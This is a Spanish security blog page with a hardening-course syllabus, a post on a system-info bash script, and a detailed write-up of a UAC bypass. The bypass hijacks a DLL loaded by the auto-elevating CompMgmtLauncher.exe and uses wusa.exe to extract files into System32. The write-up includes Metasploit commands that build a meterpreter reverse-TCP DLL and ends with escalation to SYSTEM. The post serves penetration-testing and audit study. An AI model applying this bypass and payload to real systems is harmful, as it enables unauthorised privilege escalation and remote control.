martes, 28 de marzo de 2017

HCHSW: Nuevo curso - Hardening Sistemas Windows

Compartir este artículo:
Un nuevo curso está disponible en la plataforma de formación de hackersClub. En esta ocasión, ya tenéis disponible para su realización el curso de Hardening de Sistemas Windows llevado a cabo por Ángel Álvarez Nuñez, MVP de Microsoft. El enfoque del curso es eminentemente práctico, siguiendo una metodología estricta de aprendizaje. A través de la metodología el alumno podrá ir comprobando, mediante la realización de ejercicios, como se van adquiriendo los conocimientos necesarios para lograr concluir con éxito el curso. Dichos ejercicios serán resueltos por el instructor en sesiones posteriores. Además, al final de cada semana, el alumno realizará un test de conocimiento dónde se podrá ir comprobando que los conceptos son adquiridos. Consulta nuestra metodología.

A continuación os dejamos el temario del curso. Si ya estás inscrito en alguno de nuestros cursos consulta en info@hackersclubacademy.com los posibles descuentos que puedes tener. Con el curso recibirás el libro (envíos en España y península) Windows Server 2016: Administración, Seguridad y Operaciones.

Contenido del curso:



SEMANA 1: SEGURIDAD INFORMÁTICA Y MONITORIZACIÓN

  • Defensa en Profundidad DP
  • Mínimo Punto de Exposición MPE
  • Mínimo Privilegio Posible MPP
  • Asistente de configuración de seguridad SCW en Windows Server 2012
  • Microsoft Baseline Security Analyzer
  • Monitorización del sistema
  • Administrador del Servidor, Roles y Servicios
  • Información general sobre el Administrador de tareas
  • El Monitor de recursos
  • Descripción del Monitor de rendimiento
  • Información sobre el Monitor de confiabilidad
  • Registro de Eventos en Windows Server 2016
  • SysInternals Suite

SEMANA 2: EL DIRECTORIO ACTIVO

  • Estructura de un dominio
  • Perfiles de Powershell
  • Elementos de Active Directory
  • Roles y servicios relacionados con el Directorio Activo
  • Importancia del servicio de DNS
  • Microsoft Azure AD
  • Permisos y recursos
  • Objetos de Directiva de Grupo GPOs
  • Directivas de seguridad
  • Directivas de configuración de cuenta
  • Configuración de derechos de usuario
  • Directiva de opciones de seguridad
  • Auditoría de seguridad
  • Configuración de Directivas de Auditoría Avanzada
  • Microsoft Security Compliance Manager SCM

SEMANA 3: GESTIÓN DE IDENTIDADES

  • Configuración de Grupos Restringidos
  • Grupo de seguridad Usuarios Proteg
  • Directivas de Contraseña específica con PSOs
  • Authentication Policies and Authentication Policy Silos
  • Dynamic Access Control DAC
  • Nuevas características para la protección de identidades
  • La Hoja de Ruta Securing Privileged Access
  • Configurar Credential Guard
  • Remote Credential Guard
  • Privileged Access Management PAM
  • Just Enough Administration JEA
  • Microsoft Passport y Windows Hello

SEMANA 4: FORTIFICACIÓN DEL SISTEMA INFORMÁTICO

  • Control de cuentas de usuario UAC
  • Device Guard
  • Control Flow Guard
  • Restricción de Software
  • Directivas de restricción de software
  • AppLocker
  • Windows Defender
  • Enhanced Mitigation Experience Toolkit EMET
  • Microsoft Advanced Threat Analytics
  • Firewall de Windows con seguridad avanzada
  • Servicios de Cifrado
  • EFS & BitLocker
  • Network Access Protection
  • Active Directory Rights Management Services AD RMS
  • Protección del servicio DHCP
  • Windows Server BackUp
  • Windows Server Update Services WSUS


¡Te esperamos! Para cualquier duda consulta en info@hackersclubacademy.com

lunes, 27 de marzo de 2017

Ya podéis descargar grabsysinfo desde nuestro repositorio de Github

Compartir este artículo:
Buenas a todos! En el post de hoy queríamos compartir con vosotros un bash script que ha subido Daniel Maldonado (¡gracias!), al repositorio Security-bash-scripts, el cual podéis descargar desde el siguiente enlace:
 


grabsysinfo.sh es un script diseñado para simplificar la recolección de datos interesantes de un equipo.

En el script disponéis de las siguientes opciones:
  1. Operating system info
  2. Hostname and dns info
  3. Network info
  4. Who is online
  5. Last logged in users
  6. Free and used memory info

Por ejemplo, la opción 5 arrojaría un resultado como el siguiente, con el histórico de usuarios autenticados:



Saludos!

martes, 21 de marzo de 2017

Bypass UAC con Invoke-CompMgmtLauncher para Windows 7/8/8.1

Compartir este artículo:
Microsoft no contempla un Bypass de UAC como una vulnerabilidad, debido a que depende de la configuración que la característica de seguridad tenga en cada momento. Es cierto que desde Windows 7 la configuración del UAC fue “rebajado” para la comodidad del usuario, dejando la petición de consentimiento para binarios que no son de Windows, es decir, que no están firmados por Microsoft o que tienen la directiva autoElevate a true en el manifiesto del binario.

Repasando los binarios que tienen el autoElevate a true encontré uno que me llamó la atención. En UACMe, un repositorio dónde podemos encontrar un gran número de bypasses de UAC, encontramos algunos que se aprovechan de dicho binario, pero no de la forma que planteo en el artículo. Los métodos conocidos que se utilizaron para aprovecharse del binario CompMgmtLauncher.exe son la manipulación del registro de Windows, justo como se contó con el método Fileless y el método de Shell API.

Lo primero que hice fue ver el manifiesto del binario y el comportamiento del binario CompMgmtLauncher.exe. Con la herramienta sigcheck.exe de Sysinternals se puede ver el manifiesto del binario. Buscamos la directiva autoElevate y observamos el valor true. Esto quiere decir que el binario cuando se ejecute se ejecutará con privilegio, es decir, en un contexto de integridad alto.


Cuando se mira la integridad del proceso con herramientas que permiten observar este detalle, se puede ver cómo se está ejecutando con integridad alta, por ejemplo, con Process Explorer o Process Monitor. Ahora, podemos observar cómo podemos llevar a cabo la técnica DLL Hijacking a través del secuestro de una DLL. Para poder verificar si el binario es vulnerable a DLL Hijacking, tenemos que mirar si hay algún directorio o fichero que no es encontado durante el arranque del binario.

Si ejecutamos Procmon para monitorizar, en este caso, el sistema de archivos y las operaciones que se hacen sobre él, por el binario CompMgmtLauncher.exe nos encontramos que hay varios NAME NOT FOUND.


Si echamos un ojo, quitando el filtro de solo sacar NAME NOT FOUND, observamos que después de buscar el directorio compmgmtlauncher.exe.Local, el binario se dirige a WinSxS, en el caso de las arquitecturas de 32 bits, y descubre la DLL que realmente está buscando. Entonces, si nosotros podemos lograr que la DLL se escriba en una ubicación protegida como es \Windows\System32, podríamos lograr que el binario encuentre primero nuestra DLL maliciosa y la cargase.

En el caso de que nuestra DLL maliciosa fuera cargada, en primer lugar, por el binario, podríamos ejecutar código en un contexto elevado, ya que el binario que cargaría la DLL es CompMgmtLauncher.exe, el cual se ejecuta en un contexto elevado o auto-elevado.

Para crearnos una DLL maliciosa podemos utilizar un módulo de Metasploit. Para ello, arrancamos msfconsole y ejecutamos:

·      use payload/windows/meterpreter/reverse_tcp
·      set LHOST [dirección IP retorno]
·      generate –t dll –f [ruta creación DLL]

PoC: Creando el Bypass de UAC con Powershell

Para copiar la DLL a la ubicación protegida dónde el binario de CompMgmtLauncher.exe buscará tenemos dos opciones:

·      Utilizar la aplicación wusa.exe, la cual permite extraer el contenido de un fichero CAB en una ubicación protegida, debido a que dicha aplicación se ejecuta en un contexto de integridad alto. Esta opción sólo nos servirá en Windows 7, 8 y 8.1. Es la que utilizaremos para este artículo.
·      Utilizar IFileOperation. La exposición de los objetos COM. Este objeto contiene métodos que permiten copiar, mover, eliminar objetos del sistema de archivos como ficheros y carpetas. Este método es válido en Windows 10.

Hay que indicar que el binario CompMgmtLauncher.exe puede ser utilizado en Windows 10 para hacer el Bypass de UAC, aunque solo se pueda utilizar el método IFileOperation como medio para copiar la DLL a la ubicación protegida.

Ahora, vamos a hacer un pequeño script de Powershell que permite ejemplificar y llevar a cabo el Bypass de UAC con la invocación del binario CompMgmtLauncher.exe y a través del vector de wusa.exe y DLL Hijacking.

Crearemos una función denominada Invoke-CompMgmtLauncher. En primer lugar, crearemos un directorio en el escritorio de la víctima dónde creará la jerarquía de carpetas necesarias en el directorio CompMgmtLauncher.exe.Local.


Una vez tenemos preparada la jerarquía de carpetas, vamos a crear el fichero CAB. El fichero CAB será utilizado por wusa.exe para hacer la extracción en la ruta privilegiada. Tal y como se puede visualizar en la imagen, se crea un fichero DDF. Este fichero DDF está compuesto por directivas que serán procesadas por el binario makecab.exe, el cuál es el encargado de generar el fichero CAB.

En resumen, podemos decir que DDF indica a makecab.exe cómo se debe distribuir los archivos en el CAB y qué características tiene el fichero y la compresión de éste.


Una vez creado el fichero DDF, nuestro script/exploit de Powershell generará el fichero CAB a través de la sentencia makecab.exe /f [ruta del fichero DDF]. Una vez hecho esto, tendremos ya el fichero CAB disponible para que wusa.exe pueda utilizarlo.

La siguiente instrucción es la de utiliza wusa.exe para llevar a cabo la extracción en \Windows\System32. Ahora que ya tenemos la jerarquía de carpetas que compone comctl32.dll en \Windows\System32 se debe arrancar el proceso CompMgmtLauncher.exe para que se lleve a cabo la ejecución de código, es decir, la DLL, en un entorno privilegiado.

Hay que tener en cuenta que, para llevar a cabo un Bypass de UAC, se deben cumplir ciertas condiciones:

·      El UAC debe estar configurado por defecto. La configuración por defecto de Windows 7.
·      El usuario que ejecuta el binario auto-elevado debe ser del grupo administradores.

Una vez conseguida una sesión, por ejemplo, con Metasploit y tenemos una Powershell remota e interactiva, podemos descargarnos dinámicamente a memoria nuestro script, tal y como se puede ver en la imagen. Una vez hecho esto, podemos comprobar con ls function: que la función se ha cargado correctamente y está disponible.



Cuando se ejecuta la función de Powershell, se obtiene un Meterpreter, el cuál es el que está en la DLL y se obtiene una nueva sesión. Esta sesión se encontrará con más privilegios, por lo que cuando hagamos el getsystem, podremos impersonalizar a System y acceder a cualquier recurso del sistema.



Ha sido un juego interesante lograr el Bypass de UAC y hacer esta pequeña escalada de privilegios, la cual siempre está guiada por las condiciones del UAC y de la identidad y grupo del usuario que ejecuta el proceso. Como se puede ver, se puede sacar un provecho y un beneficio en una auditoría interna, dónde las escaladas de privilegio y el Bypass de UAC son técnicas utilizadas diariamente.

Se puede descargar este script y modificar desde mi Github y sacarle el jugo a este Bypass de UAC.